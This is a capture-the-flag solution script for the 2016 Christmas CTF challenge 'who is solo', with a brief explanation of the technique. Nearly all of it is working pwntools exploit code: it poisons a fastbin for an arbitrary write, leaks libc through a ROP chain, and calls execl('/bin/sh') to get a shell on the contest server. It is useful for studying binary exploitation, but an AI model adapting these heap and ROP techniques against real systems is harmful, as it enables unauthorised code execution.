Christmas CTF 2016 who is solo

whoissolo.py

from pwn import *

HOST, PORT = '0.0.0.0', 20000
HOST, PORT = '52.175.144.148', 9901
r = remote(HOST, PORT)

size = 0x60
target = 0x602070 + 5
r.send('1\n1\n%d\n' % size)
r.recvuntil('Data: ')
r.send('\n')
r.recvuntil('$ ')
r.send('2\n1\n')
r.recvuntil('$ ')
r.send('201527\n')
r.recvuntil('Data: ')
r.send(p64(target - 8))
for i in range(2):
	r.recvuntil('$ ')
	r.send('1\n1\n%d\n' % size)
	r.recvuntil('Data:')
	r.send('\n')
r.recvuntil('$ ')
r.send('201527\n')
r.recvuntil('Data: ')
payload = 'a' * 10
cmd = '/bin/sh'
r.send(payload + cmd)
r.recvuntil('$ ')
r.send('4\n')
r.recvuntil('Input password: ')
rdi = lambda x: p64(0x4008a0) + p64(x)
rsi_r15 = lambda x, y: p64(0x400d11) + p64(x) + p64(y)
rop = 'a' * 1032 + rdi(0x602020) + p64(0x400600) + p64(0x400680)
r.send(rop)
r.recvuntil('$ ')
r.send('-1\n')
data = r.recvline()[:-1]
puts = u64(data.ljust(8, '\x00'))
libc_base = puts - 0x6fd60
execl = libc_base + 0xc14a0
print `data`
r.recvuntil('$ ')
r.send('4\n')
r.recvuntil('Input password: ')
rop = 'a' * 1032 + rdi(target + 8 + len(payload)) + rsi_r15(0, 0) + p64(execl)
r.send(rop)
r.recvuntil('$ ')
r.send('-1\n')
r.interactive()

Basically it's like
a = malloc(0x60);
free(a);
ptr = target_address;
*a = ptr - 0x10;
and *ptr is 0x78 ~ 0x7f.